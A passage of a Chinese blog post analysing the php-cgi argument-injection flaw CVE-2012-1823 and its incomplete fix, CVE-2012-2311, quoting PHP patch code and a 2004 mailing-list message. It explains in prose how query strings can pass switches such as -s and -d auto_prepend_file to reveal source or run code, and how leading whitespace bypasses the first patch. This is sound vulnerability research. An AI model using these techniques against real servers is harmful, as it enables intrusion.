Exp编写》一文中介绍的fpm，他的作用就是接受Web容器通过fastcgi协议封装好的数据，并交给PHP解释器执行。\n除了fpm，最常见的sapi应该是用于Apache的mod_php，这个sapi用于php和apache之间的数据交换。\nphp-cgi也是一个sapi。在远古的时候，web应用的运行方式很简单，web容器接收到http数据包后，拿到用户请求的文件（cgi脚本），并fork出一个子进程（解释器）去执行这个文件，然后拿到执行结果，直接返回给用户，同时这个解释器子进程也就结束了。基于bash、perl等语言的web应用多半都是以这种方式来执行，这种执行方式一般就被称为cgi，在安装Apache的时候默认有一个cgi-bin目录，最早就是放置这些cgi脚本用的。\n但cgi模式有个致命的缺点，众所周知，进程的创建和调度都是有一定消耗的，而且进程的数量也不是无限的。所以，基于cgi模式运行的网站通常不能同时接受大量请求，否则每个请求生成一个子进程，就有可能把服务器挤爆。于是后来就有了fastcgi，fastcgi进程可以将自己一直运行在后台，并通过fastcgi协议接受数据包，执行后返回结果，但自身并不退出。\nphp有一个叫php-cgi的sapi，php-cgi有两个功能，一是提供cgi方式的交互，二是提供fastcgi方式的交互。也就说，我们可以像perl一样，让web容器直接fork一个php-cgi进程执行某脚本；也可以在后台运行 php-cgi -b 127.0.0.1:9000（php-cgi作为fastcgi的管理器），并让web容器用fastcgi协议和9000交互。\n那我之前说的fpm又是什么呢？为什么php有两个fastcgi管理器？php确实有两个fastcgi管理器，php-cgi可以以fastcgi模式运行，fpm也是以fastcgi模式运行。但fpm是php在5.3版本以后引入的，是一个更高效的fastcgi管理器，其诸多优点我就不多说了，可以自己去翻翻源码。因为fpm优点更多，所以现在越来越多的web应用使用php-fpm去运行php。\n历史成因 回到本漏洞。CVE-2012-1823就是php-cgi这个sapi出现的漏洞，我上面介绍了php-cgi提供的两种运行方式：cgi和fastcgi，本漏洞只出现在以cgi模式运行的php中。\n这个漏洞简单来说，就是用户请求的querystring被作为了php-cgi的参数，最终导致了一系列结果。\n探究一下原理， RFC3875 中规定，当querystring中不包含没有解码的 = 号的情况下，要将querystring作为cgi的参数传入。所以，Apache服务器按要求实现了这个功能。\n但PHP并没有注意到RFC的这一个规则，也许是曾经注意并处理了，处理方法就是web上下文中不允许传入参数。但在2004年的时候某个开发者发表过这么一段言论：\nFrom: Rasmus Lerdorf \u0026lt;rasmus \u0026lt;at\u0026gt; lerdorf.com\u0026gt; Subject: [PHP-DEV] php-cgi command line switch memory check Newsgroups: gmane.comp.php.devel Date: 2004-02-04 23:26:41 GMT (7 years, 49 weeks, 3 days, 20 hours and 39 minutes ago) In our SAPI cgi we have a check along these lines: if (getenv(\u0026#34;SERVER_SOFTWARE\u0026#34;) || getenv(\u0026#34;SERVER_NAME\u0026#34;) || getenv(\u0026#34;GATEWAY_INTERFACE\u0026#34;) || getenv(\u0026#34;REQUEST_METHOD\u0026#34;)) { cgi = 1; } if(!cgi) getopt(...) As in, we do not parse command line args for the cgi binary if we are running in a web context. At the same time our regression testing system tries to use the cgi binary and it sets these variables in order to properly test GET/POST requests. From the regression testing system we use -d extensively to override ini settings to make sure our test environment is sane. Of course these two ideas conflict, so currently our regression testing is somewhat broken. We haven\u0026#39;t noticed because we don\u0026#39;t have many tests that have GET/POST data and we rarely build the cgi binary. The point of the question here is if anybody remembers why we decided not to parse command line args for the cgi version? I could easily see it being useful to be able to write a cgi script like: #!/usr/local/bin/php-cgi -d include_path=/path \u0026lt;?php ... ?\u0026gt; and have it work both from the command line and from a web context. As far as I can tell this wouldn\u0026#39;t conflict with anything, but somebody at some point must have had a reason for disallowing this. -Rasmus 显然，这位开发者是为了方便使用类似 #!/usr/local/bin/php-cgi -d include_path=/path 的写法来进行测试，认为不应该限制php-cgi接受命令行参数，而且这个功能不和其他代码有任何冲突。\n于是， if(!cgi) getopt(...) 被删掉了。\n但显然，根据RFC中对于command line的说明，命令行参数不光可以通过 #!/usr/local/bin/php-cgi -d include_path=/path 的方式传入php-cgi，更可以通过querystring的方式传入。\n这就是本漏洞的历史成因。\n漏洞利用 那么，可控命令行参数，能做些什么事。\n通过阅读源码，我发现cgi模式下有如下一些参数可用：\n-c 指定php.ini文件的位置 -n 不要加载php.ini文件 -d 指定配置项 -b 启动fastcgi进程 -s 显示文件源码 -T 执行指定次该文件 -h 和 -? 显示帮助 最简单的利用方式，当然就是 -s，可以直接显示源码：\n但阅读过我写的fastcgi那篇文章的同学应该很快就想到了一个更好的利用方法：通过使用 -d 指定 auto_prepend_file 来制造任意文件包含漏洞，执行任意代码：\n注意，空格用 + 或 %20 代替， = 用url编码代替。\nCVE-2012-2311 这个漏洞被爆出来以后，PHP官方对其进行了修补，发布了新版本5.4.2及5.3.12，但这个修复是不完全的，可以被绕过，进而衍生出CVE-2012-2311漏洞。\nPHP的修复方法是对 - 进行了检查：\nif(query_string = getenv(\u0026#34;QUERY_STRING\u0026#34;)) { decoded_query_string = strdup(query_string); php_url_decode(decoded_query_string, strlen(decoded_query_string)); if(*decoded_query_string == \u0026#39;-\u0026#39; \u0026amp;\u0026amp; strchr(decoded_query_string, \u0026#39;=\u0026#39;) == NULL) { skip_getopt = 1; } free(decoded_query_string); } 可见，获取querystring后进行解码，如果第一个字符是 - 则设置skip_getopt，也就是不要获取命令行参数。\n这个修复方法不安全的地方在于，如果运维对php-cgi进行了一层封装的情况下：\n#!/bin/sh exec /usr/local/bin/php-cgi $* 通过使用空白符加 - 的方式，也能传入参数。这时候querystring的第一个字符就是空白符而不是 - 了，绕过了上述检查。\n于是，php5.4.3和php5.3.13中继续进行修改:\nif((query_string = getenv(\u0026#34;QUERY_STRING\u0026#34;)) != NULL \u0026amp;\u0026amp; strchr(query_string, \u0026#39;=\u0026#39;) == NULL) { /* we\u0026#39;ve got query string that has no = - apache CGI will pass it to command line */ unsigned char *p; decoded_query_string = strdup(query_string); php_url_decode(decoded_query_string, strlen(decoded_query_string)); for (p = decoded_query_string; *p \u0026amp;\u0026amp; *p \u0026lt;= \u0026#39; \u0026#39;; p++) { /* skip all leading spaces */ } if(*p == \u0026#39;-\u0026#39;) { skip_getopt = 1; } free(decoded_query_string); } 先跳过所有空白符（小于等于空格的所有字符），再判断第一个字符是否是 -。\n影响 这个漏洞在当年的影响应该说中等。因为PHP-CGI这个SAPI在漏洞出现的时间点，因为其性能等问题，已经在慢慢退出历史舞台了。但考虑到PHP这个在Web领域举足轻重的语言，跨越多年，用量巨大，很多老的设备、服务器仍在运行有漏洞的版本和PHP-CGI，所以影响也不能低估。\n不过，在2017年的今天，我分析这个漏洞当然已经不能谈影响了，只是其思路确实比较有意思，又让我领会了一次阅读RFC的重要性。\n","permalink":"https://www.lucien116.com/archives/317/","summary":"\u003cp\u003eCVE-2012-1823出来时据说是“PHP远程代码执行漏洞”，曾经也“轰动一时”，当时的我只是刚踏入安全门的一个小菜，直到前段时间tomato师傅让我看一个案例，我才想起来这个漏洞。通过在 \u003ca href=\"https://github.com/phith0n/vulhub/tree/master/php/CVE-2012-1823\"\u003eVulhub\u003c/a\u003e 中对这个漏洞环境的搭建与漏洞原理的分析，我觉得还挺有意思的，故写出一篇文章来，和大家分享。\u003c/p\u003e\n\u003ch2 id=\"php-sapi-与运行模式\"\u003ePHP SAPI 与运行模式\u003c/h2\u003e\n\u003cp\u003e首先，介绍一下PHP的运行模式。\u003c/p\u003e\n\u003cp\u003e下载PHP源码，可以看到其中有个目录叫sapi。sapi在PHP中的作用，类似于一个消息的“传递者”，比如我在《Fastcgi协议分析 \u0026amp;\u0026amp; PHP-FPM未授权访问漏洞 \u0026amp;\u0026amp; Exp编写》一文中介绍的fpm，他的作用就是接受Web容器通过fastcgi协议封装好的数据，并交给PHP解释器执行。\u003c/p\u003e\n\u003cp\u003e除了fpm，最常见的sapi应该是用于Apache的mod_php，这个sapi用于php和apache之间的数据交换。\u003c/p\u003e\n\u003cp\u003ephp-cgi也是一个sapi。在远古的时候，web应用的运行方式很简单，web容器接收到http数据包后，拿到用户请求的文件（cgi脚本），并fork出一个子进程（解释器）去执行这个文件，然后拿到执行结果，直接返回给用户，同时这个解释器子进程也就结束了。基于bash、perl等语言的web应用多半都是以这种方式来执行，这种执行方式一般就被称为cgi，在安装Apache的时候默认有一个cgi-bin目录，最早就是放置这些cgi脚本用的。\u003c/p\u003e\n\u003cp\u003e但cgi模式有个致命的缺点，众所周知，进程的创建和调度都是有一定消耗的，而且进程的数量也不是无限的。所以，基于cgi模式运行的网站通常不能同时接受大量请求，否则每个请求生成一个子进程，就有可能把服务器挤爆。于是后来就有了fastcgi，fastcgi进程可以将自己一直运行在后台，并通过fastcgi协议接受数据包，执行后返回结果，但自身并不退出。\u003c/p\u003e\n\u003cp\u003ephp有一个叫php-cgi的sapi，php-cgi有两个功能，一是提供cgi方式的交互，二是提供fastcgi方式的交互。也就说，我们可以像perl一样，让web容器直接fork一个php-cgi进程执行某脚本；也可以在后台运行 \u003ccode\u003ephp-cgi -b 127.0.0.1:9000\u003c/code\u003e（php-cgi作为fastcgi的管理器），并让web容器用fastcgi协议和9000交互。\u003c/p\u003e\n\u003cp\u003e那我之前说的fpm又是什么呢？为什么php有两个fastcgi管理器？php确实有两个fastcgi管理器，php-cgi可以以fastcgi模式运行，fpm也是以fastcgi模式运行。但fpm是php在5.3版本以后引入的，是一个更高效的fastcgi管理器，其诸多优点我就不多说了，可以自己去翻翻源码。因为fpm优点更多，所以现在越来越多的web应用使用php-fpm去运行php。\u003c/p\u003e\n\u003ch2 id=\"历史成因\"\u003e历史成因\u003c/h2\u003e\n\u003cp\u003e回到本漏洞。CVE-2012-1823就是php-cgi这个sapi出现的漏洞，我上面介绍了php-cgi提供的两种运行方式：cgi和fastcgi，本漏洞只出现在以cgi模式运行的php中。\u003c/p\u003e\n\u003cp\u003e这个漏洞简单来说，就是用户请求的querystring被作为了php-cgi的参数，最终导致了一系列结果。\u003c/p\u003e\n\u003cp\u003e探究一下原理， \u003ca href=\"http://www.ietf.org/rfc/rfc3875\"\u003eRFC3875\u003c/a\u003e 中规定，当querystring中不包含没有解码的 \u003ccode\u003e=\u003c/code\u003e 号的情况下，要将querystring作为cgi的参数传入。所以，Apache服务器按要求实现了这个功能。\u003c/p\u003e\n\u003cp\u003e但PHP并没有注意到RFC的这一个规则，也许是曾经注意并处理了，处理方法就是web上下文中不允许传入参数。但在2004年的时候某个开发者发表过这么一段言论：\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-gdscript3\" data-lang=\"gdscript3\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eFrom\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003eRasmus\u003c/span\u003e \u003cspan class=\"n\"\u003eLerdorf\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003erasmus\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eat\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003elerdorf\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ecom\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eSubject\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ePHP\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003eDEV\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"n\"\u003ephp\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003ecgi\u003c/span\u003e \u003cspan class=\"n\"\u003ecommand\u003c/span\u003e \u003cspan class=\"n\"\u003eline\u003c/span\u003e \u003cspan class=\"k\"\u003eswitch\u003c/span\u003e \u003cspan class=\"n\"\u003ememory\u003c/span\u003e \u003cspan class=\"n\"\u003echeck\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eNewsgroups\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003egmane\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ecomp\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ephp\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003edevel\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eDate\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"mi\"\u003e2004\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"mi\"\u003e02\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"mi\"\u003e04\u003c/span\u003e \u003cspan class=\"mi\"\u003e23\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e26\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e41\u003c/span\u003e \u003cspan class=\"n\"\u003eGMT\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e7\u003c/span\u003e \u003cspan class=\"n\"\u003eyears\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mi\"\u003e49\u003c/span\u003e \u003cspan class=\"n\"\u003eweeks\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mi\"\u003e3\u003c/span\u003e \u003cspan class=\"n\"\u003edays\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mi\"\u003e20\u003c/span\u003e \u003cspan class=\"n\"\u003ehours\u003c/span\u003e \u003cspan class=\"ow\"\u003eand\u003c/span\u003e \u003cspan class=\"mi\"\u003e39\u003c/span\u003e \u003cspan class=\"n\"\u003eminutes\u003c/span\u003e \u003cspan class=\"n\"\u003eago\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eIn\u003c/span\u003e \u003cspan class=\"n\"\u003eour\u003c/span\u003e \u003cspan class=\"n\"\u003eSAPI\u003c/span\u003e \u003cspan class=\"n\"\u003ecgi\u003c/span\u003e \u003cspan class=\"n\"\u003ewe\u003c/span\u003e \u003cspan class=\"n\"\u003ehave\u003c/span\u003e \u003cspan class=\"n\"\u003ea\u003c/span\u003e \u003cspan class=\"n\"\u003echeck\u003c/span\u003e \u003cspan class=\"n\"\u003ealong\u003c/span\u003e \u003cspan class=\"n\"\u003ethese\u003c/span\u003e \u003cspan class=\"n\"\u003elines\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003egetenv\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;SERVER_SOFTWARE\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"o\"\u003e||\u003c/span\u003e \u003cspan class=\"n\"\u003egetenv\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;SERVER_NAME\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"o\"\u003e||\u003c/span\u003e \u003cspan class=\"n\"\u003egetenv\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;GATEWAY_INTERFACE\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"o\"\u003e||\u003c/span\u003e \u003cspan class=\"n\"\u003egetenv\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;REQUEST_METHOD\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"n\"\u003ecgi\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e!\u003c/span\u003e\u003cspan class=\"n\"\u003ecgi\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"n\"\u003egetopt\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e...\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eAs\u003c/span\u003e \u003cspan class=\"ow\"\u003ein\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003ewe\u003c/span\u003e \u003cspan class=\"k\"\u003edo\u003c/span\u003e \u003cspan class=\"ow\"\u003enot\u003c/span\u003e \u003cspan class=\"n\"\u003eparse\u003c/span\u003e \u003cspan class=\"n\"\u003ecommand\u003c/span\u003e \u003cspan class=\"n\"\u003eline\u003c/span\u003e \u003cspan class=\"n\"\u003eargs\u003c/span\u003e \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"n\"\u003ethe\u003c/span\u003e \u003cspan class=\"n\"\u003ecgi\u003c/span\u003e \u003cspan class=\"n\"\u003ebinary\u003c/span\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"n\"\u003ewe\u003c/span\u003e \u003cspan class=\"n\"\u003eare\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003erunning\u003c/span\u003e \u003cspan class=\"ow\"\u003ein\u003c/span\u003e \u003cspan class=\"n\"\u003ea\u003c/span\u003e \u003cspan class=\"n\"\u003eweb\u003c/span\u003e \u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e  \u003cspan class=\"n\"\u003eAt\u003c/span\u003e \u003cspan class=\"n\"\u003ethe\u003c/span\u003e \u003cspan class=\"n\"\u003esame\u003c/span\u003e \u003cspan class=\"n\"\u003etime\u003c/span\u003e \u003cspan class=\"n\"\u003eour\u003c/span\u003e \u003cspan class=\"n\"\u003eregression\u003c/span\u003e \u003cspan class=\"n\"\u003etesting\u003c/span\u003e \u003cspan class=\"n\"\u003esystem\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003etries\u003c/span\u003e \u003cspan class=\"n\"\u003eto\u003c/span\u003e \u003cspan class=\"n\"\u003euse\u003c/span\u003e \u003cspan class=\"n\"\u003ethe\u003c/span\u003e \u003cspan class=\"n\"\u003ecgi\u003c/span\u003e \u003cspan class=\"n\"\u003ebinary\u003c/span\u003e \u003cspan class=\"ow\"\u003eand\u003c/span\u003e \u003cspan class=\"n\"\u003eit\u003c/span\u003e \u003cspan class=\"n\"\u003esets\u003c/span\u003e \u003cspan class=\"n\"\u003ethese\u003c/span\u003e \u003cspan class=\"n\"\u003evariables\u003c/span\u003e \u003cspan class=\"ow\"\u003ein\u003c/span\u003e \u003cspan class=\"n\"\u003eorder\u003c/span\u003e \u003cspan class=\"n\"\u003eto\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eproperly\u003c/span\u003e \u003cspan class=\"n\"\u003etest\u003c/span\u003e \u003cspan class=\"n\"\u003eGET\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003ePOST\u003c/span\u003e \u003cspan class=\"n\"\u003erequests\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e  \u003cspan class=\"n\"\u003eFrom\u003c/span\u003e \u003cspan class=\"n\"\u003ethe\u003c/span\u003e \u003cspan class=\"n\"\u003eregression\u003c/span\u003e \u003cspan class=\"n\"\u003etesting\u003c/span\u003e \u003cspan class=\"n\"\u003esystem\u003c/span\u003e \u003cspan class=\"n\"\u003ewe\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003euse\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003ed\u003c/span\u003e \u003cspan class=\"n\"\u003eextensively\u003c/span\u003e \u003cspan class=\"n\"\u003eto\u003c/span\u003e \u003cspan class=\"n\"\u003eoverride\u003c/span\u003e \u003cspan class=\"n\"\u003eini\u003c/span\u003e \u003cspan class=\"n\"\u003esettings\u003c/span\u003e \u003cspan class=\"n\"\u003eto\u003c/span\u003e \u003cspan class=\"n\"\u003emake\u003c/span\u003e \u003cspan class=\"n\"\u003esure\u003c/span\u003e \u003cspan class=\"n\"\u003eour\u003c/span\u003e \u003cspan class=\"n\"\u003etest\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eenvironment\u003c/span\u003e \u003cspan class=\"n\"\u003eis\u003c/span\u003e \u003cspan class=\"n\"\u003esane\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e  \u003cspan class=\"n\"\u003eOf\u003c/span\u003e \u003cspan class=\"n\"\u003ecourse\u003c/span\u003e \u003cspan class=\"n\"\u003ethese\u003c/span\u003e \u003cspan class=\"n\"\u003etwo\u003c/span\u003e \u003cspan class=\"n\"\u003eideas\u003c/span\u003e \u003cspan class=\"n\"\u003econflict\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eso\u003c/span\u003e \u003cspan class=\"n\"\u003ecurrently\u003c/span\u003e \u003cspan class=\"n\"\u003eour\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eregression\u003c/span\u003e \u003cspan class=\"n\"\u003etesting\u003c/span\u003e \u003cspan class=\"n\"\u003eis\u003c/span\u003e \u003cspan class=\"n\"\u003esomewhat\u003c/span\u003e \u003cspan class=\"n\"\u003ebroken\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e  \u003cspan class=\"n\"\u003eWe\u003c/span\u003e \u003cspan class=\"n\"\u003ehaven\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;t noticed because we\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003edon\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;t have many tests that have GET/POST data and we rarely build the cgi\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003ebinary\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eThe\u003c/span\u003e \u003cspan class=\"n\"\u003epoint\u003c/span\u003e \u003cspan class=\"n\"\u003eof\u003c/span\u003e \u003cspan class=\"n\"\u003ethe\u003c/span\u003e \u003cspan class=\"n\"\u003equestion\u003c/span\u003e \u003cspan class=\"n\"\u003ehere\u003c/span\u003e \u003cspan class=\"n\"\u003eis\u003c/span\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"n\"\u003eanybody\u003c/span\u003e \u003cspan class=\"n\"\u003eremembers\u003c/span\u003e \u003cspan class=\"n\"\u003ewhy\u003c/span\u003e \u003cspan class=\"n\"\u003ewe\u003c/span\u003e \u003cspan class=\"n\"\u003edecided\u003c/span\u003e \u003cspan class=\"ow\"\u003enot\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eto\u003c/span\u003e \u003cspan class=\"n\"\u003eparse\u003c/span\u003e \u003cspan class=\"n\"\u003ecommand\u003c/span\u003e \u003cspan class=\"n\"\u003eline\u003c/span\u003e \u003cspan class=\"n\"\u003eargs\u003c/span\u003e \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"n\"\u003ethe\u003c/span\u003e \u003cspan class=\"n\"\u003ecgi\u003c/span\u003e \u003cspan class=\"n\"\u003eversion\u003c/span\u003e\u003cspan class=\"err\"\u003e?\u003c/span\u003e  \u003cspan class=\"n\"\u003eI\u003c/span\u003e \u003cspan class=\"n\"\u003ecould\u003c/span\u003e \u003cspan class=\"n\"\u003eeasily\u003c/span\u003e \u003cspan class=\"n\"\u003esee\u003c/span\u003e \u003cspan class=\"n\"\u003eit\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003ebeing\u003c/span\u003e \u003cspan class=\"n\"\u003euseful\u003c/span\u003e \u003cspan class=\"n\"\u003eto\u003c/span\u003e \u003cspan class=\"n\"\u003ebe\u003c/span\u003e \u003cspan class=\"n\"\u003eable\u003c/span\u003e \u003cspan class=\"n\"\u003eto\u003c/span\u003e \u003cspan class=\"n\"\u003ewrite\u003c/span\u003e \u003cspan class=\"n\"\u003ea\u003c/span\u003e \u003cspan class=\"n\"\u003ecgi\u003c/span\u003e \u003cspan class=\"n\"\u003escript\u003c/span\u003e \u003cspan class=\"n\"\u003elike\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"c1\"\u003e#!/usr/local/bin/php-cgi -d include_path=/path\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"err\"\u003e?\u003c/span\u003e\u003cspan class=\"n\"\u003ephp\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e      \u003cspan class=\"o\"\u003e...\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"err\"\u003e?\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan 